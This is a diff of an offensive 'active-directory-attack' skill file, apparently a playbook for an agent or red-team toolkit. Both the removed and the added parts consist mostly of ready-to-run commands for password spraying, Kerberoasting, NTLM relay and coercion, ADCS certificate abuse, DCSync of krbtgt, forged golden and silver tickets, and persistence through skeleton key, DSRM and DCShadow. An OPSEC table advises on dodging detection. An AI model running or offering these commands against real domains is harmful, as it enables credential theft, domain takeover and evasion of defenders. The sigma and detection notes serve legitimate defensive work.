active-directory-attack · diff
git:20260528.d7929c4 to git:20260628.075dde7
84 added, 517 removed. Audit A to A.
---
name: active-directory-attack
- description: Active Directory penetration testing — BloodHound enumeration, Kerberos attacks (Kerberoasting, AS-REP, Golden/Silver Ticket), NTLM relay, DCSync, lateral movement, domain dominance
+ description: Active Directory exploitation — Kerberos roasting/delegation, coercion+NTLM/Kerberos relay (CVE-2025-33073, CVE-2026-20929), ADCS ESC1-16 (EKUwu CVE-2024-49019), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound CE attack-path enumeration and domain dominance
metadata:
type: offensive
phase: exploitation
- tools: impacket, mimikatz, bloodhound, rubeus, crackmapexec, powerview, responder, kerbrute
+ tools: impacket, certipy, rubeus, bloodhound-ce, netexec, krbrelayx, ntlmrelayx, bloodyAD, mimikatz, kerbrute, SharpSuccessor
mitre: TA0008
kill_chain:
phase: [exploit, actions]
step: [4, 7]
- attck_tactics: [TA0006, TA0008, TA0004]
+ attck_tactics: [TA0006, TA0008, TA0004, TA0003]
+ attck_techniques: [T1558, T1558.003, T1558.004, T1558.001, T1187, T1557, T1557.001, T1003.006, T1550.002, T1550.003, T1484.001, T1098, T1207]
depends_on: [network-attack, privesc-windows]
feeds_into: [red-team-ops, advanced-redteam]
- inputs: [domain_info, user_context]
- outputs: [domain_admin_access, finding_record, credential_dump]
+ inputs: [domain_info, user_context, foothold_creds]
+ outputs: [domain_admin_access, finding_record, credential_dump, forged_tickets]
+ references:
+ - references/bloodhound-enum-lateral.md
+ - references/kerberos-roasting-delegation.md
+ - references/coercion-relay.md
+ - references/adcs-abuse.md
+ - references/ticket-forgery-dcsync.md
+ - references/dmsa-badsuccessor.md
+ scripts:
+ - scripts/ad_recon.py
+ - scripts/kerberoast_audit.py
+ - scripts/rbcd_takeover.py
+ - scripts/coerce_relay_chain.sh
+ - scripts/Get-BadSuccessorOUPermissions.ps1
+ - scripts/adcs_esc_finder.py
---
# Active Directory Attacks
## When to Activate
- - Attacking Windows domain environments
- - Kerberos exploitation (Kerberoasting, AS-REP roasting, tickets)
- - NTLM relay and lateral movement
- - BloodHound enumeration and attack path discovery
- - Domain privilege escalation and persistence
- - DCSync and credential extraction
-
- ## Essential Tools
-
- | Tool | Purpose |
- |------|---------|
- | BloodHound | AD attack path visualization |
- | Impacket | Python AD attack suite |
- | Mimikatz | Credential extraction |
- | Rubeus | Kerberos attacks |
- | CrackMapExec | Network exploitation |
- | PowerView | AD enumeration |
- | Responder | LLMNR/NBT-NS poisoning |
- | Kerbrute | User enumeration & password spray |
-
- ## Core Workflow
-
- ### Step 1: Kerberos Clock Sync
-
- Kerberos requires ±5 minutes clock synchronization:
-
- ```bash
- # Detect clock skew
- nmap -sT 10.10.10.10 -p445 --script smb2-time
-
- # Fix clock on Linux
- sudo date -s "14 APR 2026 18:25:16"
-
- # Fix clock on Windows
- net time /domain /set
-
- # Fake clock without changing system time
- faketime -f '+8h' <command>
- ```
-
- ### Step 2: AD Reconnaissance with BloodHound
-
- ```bash
- # Start BloodHound
- neo4j console
- bloodhound --no-sandbox
-
- # Collect data with SharpHound (Windows)
- .\SharpHound.exe -c All
- .\SharpHound.exe -c All --ldapusername user --ldappassword pass
-
- # Python collector (Linux)
- bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
- ```
-
- ### Step 3: PowerView Enumeration
-
- ```powershell
- # Domain info
- Get-NetDomain
- Get-DomainSID
- Get-NetDomainController
-
- # User enumeration
- Get-NetUser
- Get-NetUser -SamAccountName targetuser
- Get-UserProperty -Properties pwdlastset
-
- # Group enumeration
- Get-NetGroupMember -GroupName "Domain Admins"
- Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
-
- # Find local admin access
- Find-LocalAdminAccess -Verbose
- Invoke-UserHunter
- Invoke-UserHunter -Stealth
- ```
-
- ## Credential Attacks
-
- ### Password Spraying
-
- ```bash
- # Kerbrute
- ./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
-
- # CrackMapExec
- crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
- ```
-
- ### Kerberoasting
-
- ```bash
- # Find SPNs
- GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10
-
- # Request TGS tickets
- GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
-
- # Crack tickets
- hashcat -m 13100 tgs.txt rockyou.txt
- # Or: john --wordlist=rockyou.txt --format=krb5tgs tgs.txt
-
- # Rubeus (Windows)
- Rubeus.exe kerberoast /outfile:hashes.txt
- Rubeus.exe kerberoast /outfile:hashes.txt /creduser:DOMAIN\user /credpassword:pass
- ```
-
- ### AS-REP Roasting (No Pre-Auth Required)
-
- ```bash
- # Find users with DONT_REQ_PREAUTH
- Get-DomainUser -PreauthNotRequired
- # Or BloodHound: MATCH (u:User {dontreqpreauth:true}) RETURN u
-
- # Request AS-REP
- GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -dc-ip 10.10.10.10 -no-pass
-
- # Crack
- hashcat -m 18200 asrep_hashes.txt rockyou.txt
-
- # Rubeus
- Rubeus.exe asreproast /outfile:asrep.txt
- ```
-
- ## NTLM Relay Attacks
-
- ### Responder (LLMNR/NBT-NS Poisoning)
-
- ```bash
- responder -I eth0 -wrf
-
- # With WPAD poisoning
- responder -I eth0 -A
-
- # Analyze captured hashes
- python3 /opt/Responder/tools/RunFinger.py -i 10.10.10.0/24
- ```
-
- ### NTLM Relay to SMB/LDAP
-
- ```bash
- # Relay to SMB (requires SMB signing disabled)
- ntlmrelayx.py -tf targets.txt -smb2support
-
- # Relay to LDAP (create computer account + RBCD)
- ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
-
- # Relay to AD CS (ESC8)
- ntlmrelayx.py -t http://adcs.domain.local/certsrv/certfnsh.asp -smb2support
- ```
-
- ### SMB Signing Check
-
- ```bash
- crackmapexec smb 10.10.10.0/24 --gen-relay-list relayable.txt
- # Or check individually:
- nmap -p445 --script smb-security-mode 10.10.10.10
- ```
-
- ## Lateral Movement
-
- ### Pass-the-Hash
-
- ```bash
- # CrackMapExec
- crackmapexec smb 10.10.10.10 -u user -H aad3b435b51404eeaad3b435b51404ee:NTLM_HASH -x "whoami"
-
- # Impacket
- psexec.py -hashes :NTLM_HASH domain.local/user@10.10.10.10
- wmiexec.py -hashes :NTLM_HASH domain.local/user@10.10.10.10
- smbexec.py -hashes :NTLM_HASH domain.local/user@10.10.10.10
- ```
-
- ### Pass-the-Ticket
-
- ```bash
- # Export ticket (Rubeus)
- Rubeus.exe dump /nowrap
- # Or: Rubeus.exe triage
-
- # Convert to Kirbi (if needed)
- Rubeus.exe ticket /ticket:base64string
-
- # Pass ticket
- export KRB5CCNAME=/path/to/ticket.ccache
- psexec.py domain.local/user@10.10.10.10 -k -no-pass
- ```
-
- ### DCSync (Domain Replication)
-
- ```bash
- # Requires: Replicating Directory Changes rights
- impacket-secretsdump -just-dc domain.local/user:password@10.10.10.10
-
- # Mimikatz
- mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
- mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
-
- # CrackMapExec
- crackmapexec smb 10.10.10.10 -u user -p password --ntds drsuapi
- ```
-
- ## Kerberos Ticket Attacks
-
- ### Golden Ticket (KRBTGT Hash)
-
- ```bash
- # Requires: KRBTGT NTLM hash + Domain SID
- mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /ptt
-
- # Rubeus
- Rubeus.exe golden /rc4:HASH /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /ptt
-
- # Impacket
- ticketer.py -nthash HASH -domain-sid SID -domain domain.local Administrator
- export KRB5CCNAME=Administrator.ccache
- psexec.py -k -no-pass domain.local/Administrator@DC_IP
- ```
-
- ### Silver Ticket (Service Account Hash)
-
- ```bash
- # Requires: Service account NTLM hash + SPN
- mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:HASH /user:Administrator /ptt
-
- # Access target service
- dir \\server.domain.local\c$
- ```
-
- ### Diamond Ticket (Forged TGT)
-
- ```bash
- # Forged ticket that looks legitimate (includes real PAC)
- Rubeus.exe diamond /rc4:HASH /user:Administrator /domain:domain.local /sids:S-1-5-21-xxx-512 /ptt
- ```
-
- ### Sapphire Ticket
-
- ```bash
- # Similar to Diamond but with more realistic PAC structure
- Rubeus.exe sapphire /rc4:HASH /user:Administrator /domain:domain.local /sids:S-1-5-21-xxx-512 /ptt
- ```
-
- ## Persistence Mechanisms
-
- ### Skeleton Key
-
- ```bash
- mimikatz # privilege::debug
- mimikatz # misc::skeleton
- # Now any user can authenticate with "mimikatz" as password
- ```
-
- ### AdminSDHolder
-
- ```powershell
- # Modify AdminSDHolder ACL (persists across DA changes)
- Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity attacker -Rights All
- ```
-
- ### DSRM Backdoor
-
- ```powershell
- # Dump DSRM hash
- Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
-
- # Enable DSRM admin logon
- Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\LSA" -Name DsrmAdminLogonBehavior -Value 2
-
- # Pass DSRM hash
- psexec.py -hashes :DSRM_HASH domain.local/Administrator@DC_IP
- ```
-
- ### DCShadow
-
- ```bash
- # Requires: DA + Schema Admin rights
- # Register rogue DC
- lsadump::dcshadow /object:targetUser /attribute:userAccountControl /value=512
-
- # Push changes
- lsadump::dcshadow /push
- ```
-
- ## OPSEC Considerations
-
- **Must Not:**
- - Lock out accounts with excessive password spraying
- - Modify production AD objects without approval
- - Leave Golden Tickets without documentation
-
- **Should:**
- - Run BloodHound for attack path discovery
- - Check SMB signing before relay attacks
- - Verify patch levels for CVE exploitation
-
- ## Troubleshooting
-
- | Issue | Solution |
- |-------|----------|
- | Clock skew too great | Sync time with DC or use faketime |
- | Kerberoasting returns empty | No service accounts with SPNs |
- | DCSync access denied | Need Replicating Directory Changes rights |
- | NTLM relay fails | Check SMB signing, try LDAP target |
- | BloodHound empty | Verify collector ran with correct creds |
-
- ## Advanced: ADCS (Active Directory Certificate Services)
-
- ### ESC1 — Enrollee Supplies Subject (SAN)
- ```bash
- # Find vulnerable templates
- certipy find -u user@domain -p pass -dc-ip DC_IP -vulnerable -stdout
-
- # Request cert with arbitrary UPN (impersonate admin)
- certipy req -u user@domain -p pass -ca CA-NAME -template VulnTemplate \
- -upn administrator@domain -dns dc01.domain.local
-
- # Authenticate with certificate
- certipy auth -pfx administrator.pfx -dc-ip DC_IP
- ```
-
- ### ESC4 — Template ACL Abuse
- ```bash
- # Modify template to make it vulnerable to ESC1
- certipy template -u user@domain -p pass -template VulnTemplate -save-old
- # Template now allows enrollee to supply SAN → chain to ESC1
-
- # Restore original template after exploitation
- certipy template -u user@domain -p pass -template VulnTemplate -configuration VulnTemplate.json
- ```
-
- ### ESC8 — NTLM Relay to HTTP Enrollment
- ```bash
- # Relay coerced NTLM auth to ADCS HTTP enrollment endpoint
- ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp -smb2support \
- --adcs --template DomainController
-
- # Coerce DC authentication
- python3 PetitPotam.py -d domain -u user -p pass RELAY_IP DC_IP
-
- # Authenticate with obtained certificate
- certipy auth -pfx dc01.pfx -dc-ip DC_IP
- ```
-
- ### ESC11 — Certificate Mapping (StrongCertificateBindingEnforcement=0)
- ```bash
- # When certificate mapping is weak, ANY cert with matching UPN works
- # Combined with ESC1: request cert for any user, even if template is
- # not originally vulnerable, weak mapping accepts it
- ```
-
- ### ESC13 — Issuance Policy OID Group Link
- ```bash
- # Abuse issuance policy linked to universal group
- # Enroll in template with policy → automatically added to linked group
- # If linked group has privileged access → instant escalation
- certipy req -u user@domain -p pass -ca CA-NAME -template PolicyTemplate
- ```
-
- ## Advanced: Shadow Credentials & Key Trust
-
- ### msDS-KeyCredentialLink Abuse
- ```bash
- # Requires GenericWrite over target (user or computer)
- # Add shadow credential (Key Trust)
- python3 pywhisker.py -d domain -u attacker -p pass --target victim --action add
-
- # Windows
- whisker.exe add /target:dc01$ /domain:domain.local /dc:dc01.domain.local
-
- # Get TGT with certificate
- certipy auth -pfx shadow_cred.pfx -dc-ip DC_IP
-
- # UnPAC-the-hash: get NT hash from TGT
- certipy auth -pfx shadow_cred.pfx -dc-ip DC_IP -get-hash
- ```
-
- ## Advanced: Kerberos Delegation Abuse
-
- ### Resource-Based Constrained Delegation (RBCD)
- ```bash
- # Requirements: GenericWrite on target + ability to create machine account
- # Step 1: Create machine account
- impacket-addcomputer -computer-name 'EVIL$' -computer-pass 'P@ss' \
- -dc-ip DC_IP domain/user:pass
-
- # Step 2: Set RBCD on target
- impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
- -dc-ip DC_IP domain/user:pass
-
- # Step 3: S4U2Self + S4U2Proxy → impersonate admin
- impacket-getST -spn cifs/target.domain -impersonate administrator \
- -dc-ip DC_IP domain/'EVIL$':'P@ss'
-
- export KRB5CCNAME=administrator@cifs_target.domain@DOMAIN.ccache
- impacket-smbexec -k -no-pass target.domain
- ```
-
- ### Constrained Delegation with Protocol Transition
- ```bash
- # S4U2Self → S4U2Proxy for service with TrustedToAuthForDelegation
- Rubeus.exe s4u /user:svc_sql /rc4:HASH /impersonateuser:administrator \
- /msdsspn:cifs/target /ptt
-
- # Alternative service name abuse (SPN is not validated in S4U2Proxy)
- Rubeus.exe s4u /user:svc_web /aes256:KEY /impersonateuser:admin \
- /msdsspn:http/target /altservice:cifs,ldap,host,mssql /ptt
- ```
-
- ## Advanced: Trust Attacks
-
- ### SID History Injection (Cross-Forest)
- ```bash
- # Get trust key
- mimikatz# lsadump::trust /patch
-
- # Forge inter-realm TGT with Enterprise Admins SID in SID History
- mimikatz# kerberos::golden /user:admin /domain:child.corp.local \
- /sid:S-1-5-21-CHILD-DOMAIN /krbtgt:TRUST_KEY \
- /sids:S-1-5-21-PARENT-DOMAIN-519 /service:krbtgt /target:corp.local /ptt
-
- # Access parent domain resources
- dir \\parent-dc.corp.local\c$
- ```
-
- ### PAM Trust Exploitation
- ```bash
- # Bastion forest with PAM trust
- # DACL abuse on foreign security principals
- # Shadow principal with SID mapping to production DA
-
- # Enumerate trust relationships
- Get-ADTrust -Filter * | Select Name, Direction, TrustType, ForestTransitive
- ```
-
- ## Advanced: Coercion Attacks (2024-2026)
-
- ### PetitPotam (MS-EFSRPC)
- ```bash
- python3 PetitPotam.py -d domain -u user -p pass LISTENER_IP TARGET_IP
- # Coerces TARGET to authenticate to LISTENER via NTLM
- ```
+ - Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
+ - Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
+ - Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
+ - ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
+ - dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
+ - BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence
- ### DFSCoerce (MS-DFSNM)
- ```bash
- python3 DFSCoerce.py -d domain -u user -p pass LISTENER_IP TARGET_IP
- ```
+ ## Technique Map
- ### PrinterBug / SpoolSample (MS-RPRN)
- ```bash
- python3 printerbug.py domain/user:pass@TARGET_IP LISTENER_IP
- ```
+ | Technique | ATT&CK | CWE | Reference | Script |
+ |-----------|--------|-----|-----------|--------|
+ | BloodHound CE / SharpHound enumeration | T1482 | CWE-732 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
+ | Password spray / PtH / PtT lateral movement | T1550.002, T1550.003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
+ | LAPS / gMSA password read | T1003 | CWE-522 | references/bloodhound-enum-lateral.md | scripts/ad_recon.py |
+ | Kerberoasting | T1558.003 | CWE-261 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py |
+ | AS-REP roasting | T1558.004 | CWE-308 | references/kerberos-roasting-delegation.md | scripts/kerberoast_audit.py |
+ | Resource-Based Constrained Delegation (RBCD) | T1558, T1098 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py |
+ | Constrained/Unconstrained delegation (S4U) | T1558 | CWE-269 | references/kerberos-roasting-delegation.md | scripts/rbcd_takeover.py |
+ | Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV) | T1187 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
+ | NTLM relay (SMB/LDAP/ADCS) | T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
+ | NTLM reflection (CVE-2025-33073) | T1187, T1557.001 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
+ | Kerberos relay / DNS CNAME (CVE-2026-20929) | T1557 | CWE-294 | references/coercion-relay.md | scripts/coerce_relay_chain.sh |
+ | ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019) | T1649 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py |
+ | ADCS ESC8 relay / ESC16 CA-wide override | T1649, T1557.001 | CWE-295 | references/adcs-abuse.md | scripts/adcs_esc_finder.py |
+ | Golden / Silver / Diamond / Sapphire ticket | T1558.001, T1558.002 | CWE-345 | references/ticket-forgery-dcsync.md | - |
+ | DCSync (DRSUAPI replication) | T1003.006 | CWE-269 | references/ticket-forgery-dcsync.md | - |
+ | noPac / sAMAccountName spoofing (CVE-2021-42278/87) | T1558 | CWE-287 | references/ticket-forgery-dcsync.md | - |
+ | dMSA BadSuccessor (CVE-2025-53779) | T1098, T1558 | CWE-269 | references/dmsa-badsuccessor.md | scripts/Get-BadSuccessorOUPermissions.ps1 |
- ### ShadowCoerce (MS-FSRVP)
- ```bash
- python3 shadowcoerce.py -d domain -u user -p pass LISTENER_IP TARGET_IP
- ```
+ ## Quick Start
- ### Coercion → Relay → Domain Admin Chain
```bash
- # Full chain: Coerce DC → NTLM Relay → ADCS ESC8 → DA
- # Terminal 1: NTLM relay to ADCS
- ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support \
- --adcs --template DomainController
-
- # Terminal 2: Coerce DC
- python3 PetitPotam.py RELAY_IP DC_IP
-
- # Terminal 3: Authenticate with captured certificate
- certipy auth -pfx dc01.pfx -dc-ip DC_IP
- # → NT hash of DC machine account → DCSync → Domain Admin
- ```
-
- ## Advanced: LAPS & gMSA Exploitation
+ # 0. Sync clock to DC (Kerberos needs +/-5 min)
+ sudo ntpdate <DC_IP> # or: faketime "$(net time -S <DC>)" <cmd>
- ### LAPS Password Reading
- ```bash
- # LAPS v1 (ms-Mcs-AdmPwd) — requires read access to attribute
- crackmapexec ldap DC_IP -u user -p pass -M laps
+ # 1. Enumerate: BloodHound CE collection (Linux) + own the graph
+ bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
+ # (use the bloodhound-ce branch; legacy collectors break CE ingest)
+ nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>
- # LAPS v2 (msLAPS-Password) — encrypted, requires specific permissions
- # Decrypt with user who has decryption rights
+ # 2. Cheap wins on the graph: roast everything visible
+ python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast
- # Python
- from ldap3 import *
- s = Server('DC_IP', get_info=ALL)
- c = Connection(s, user='domain\\user', password='pass', auto_bind=True)
- c.search('DC=domain,DC=local', '(ms-Mcs-AdmPwd=*)', attributes=['ms-Mcs-AdmPwd','sAMAccountName'])
- for entry in c.entries:
- print(f"{entry.sAMAccountName}: {entry['ms-Mcs-AdmPwd']}")
- ```
+ # 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
+ bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap
- ### gMSA Password Extraction
- ```bash
- # Requires membership in PrincipalsAllowedToRetrieveManagedPassword
- python3 gMSADumper.py -u user -p pass -d domain.local
+ # 4. ADCS path: find ESC1-16 and grab a DA cert
+ python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
+ certipy req -u user@corp.local -p 'Pass' -ca CA -template Vuln -upn administrator@corp.local
+ certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # -> NT hash / TGT
- # With impacket
- impacket-ntlmrelayx --dump-gmsa
+ # 5. Windows Server 2025 present? Check BadSuccessor exposure
+ powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1
- # LAPS persistence — set expiration to far future
- Set-DomainObject -Identity TARGET$ \
- -Set @{'ms-Mcs-AdmPwdExpirationTime'='132982560000000000'}
+ # 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
+ impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>
```
- ## Advanced: SCCM/MECM Exploitation
-
- ### Site Server Takeover
- ```bash
- # SCCM hierarchy takeover via NTLM relay
- # Coerce SCCM primary site → relay to MSSQL → admin on SCCM
+ ## OPSEC & Detection (summary)
- # SharpSCCM for post-exploitation
- SharpSCCM.exe local secrets -m wmi
- SharpSCCM.exe get secrets
+ | Technique | Telemetry / IOC | Detection (Sigma / EDR) | OPSEC note |
+ |-----------|-----------------|--------------------------|------------|
+ | SharpHound/LDAP enum | Hundreds of LDAP queries from one host; 4662 directory access | SIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikes | Throttle `--throttle/--jitter`; prefer ADWS (SOAPHound) to dodge LDAP heuristics |
+ | Kerberoasting | 4769 TGS-REQ with RC4 (0x17) for many SPNs from one host | Sigma `win_security_susp_kerberos_manipulation`; alert on RC4 TGS bursts | Request AES-only SPNs sparingly; `/rc4opsec`; roast few accounts, slow |
+ | AS-REP roasting | 4768 AS-REQ no-preauth; etype 23 | Alert on AS-REQ for DONT_REQ_PREAUTH accounts | Only target accounts BloodHound flags; offline crack |
+ | Coercion | EFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd host | Sigma `coercion`/`PetitPotam`; RPC firewall (RpcFilter) logs | Coercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback |
+ | NTLM relay / reflection | 4624/4648 NTLM logon to self; SMB→LDAP from non-server | Detect SMB-signing:False targets; CVE-2025-33073 DNS marshalled record | Needs signing:False target; patch (Jun 2025) detects marshalled DNS struct |
+ | ADCS ESC | 4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web template | Sigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injection | Restore templates (ESC4); EPA on certsrv breaks ESC8 relay |
+ | Ticket forgery | TGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPN | Golden: ticket lifetime > policy; Sapphire mimics real PAC (hard) | Match domain ticket policy lifetimes; use AES keys not RC4 |
+ | DCSync | 4662 DRSUAPI GetNCChanges from non-DC | Sigma `dcsync`; alert DRSUAPI replication from non-DC IP | Run from a host that looks like a DC; avoid `/all`, target krbtgt only |
+ | dMSA BadSuccessor | 5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLink | Sigma SharpSuccessor exec; SACL on dMSA attrs (off by default!) | Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive |
- # Extract NAA (Network Access Account) credentials
- SharpSCCM.exe get naa
- ```
+ ## Deep Dives
- ### PXE Boot Exploitation
- ```bash
- # Capture PXE boot media → extract credentials
- # Variables stored in policy include admin passwords
- python3 pxethief.py 2
- # Decrypt using media certificate from SCCM
- ```
+ - **references/bloodhound-enum-lateral.md** — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
+ - **references/kerberos-roasting-delegation.md** — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
+ - **references/coercion-relay.md** — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
+ - **references/adcs-abuse.md** — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
+ - **references/ticket-forgery-dcsync.md** — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
+ - **references/dmsa-badsuccessor.md** — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.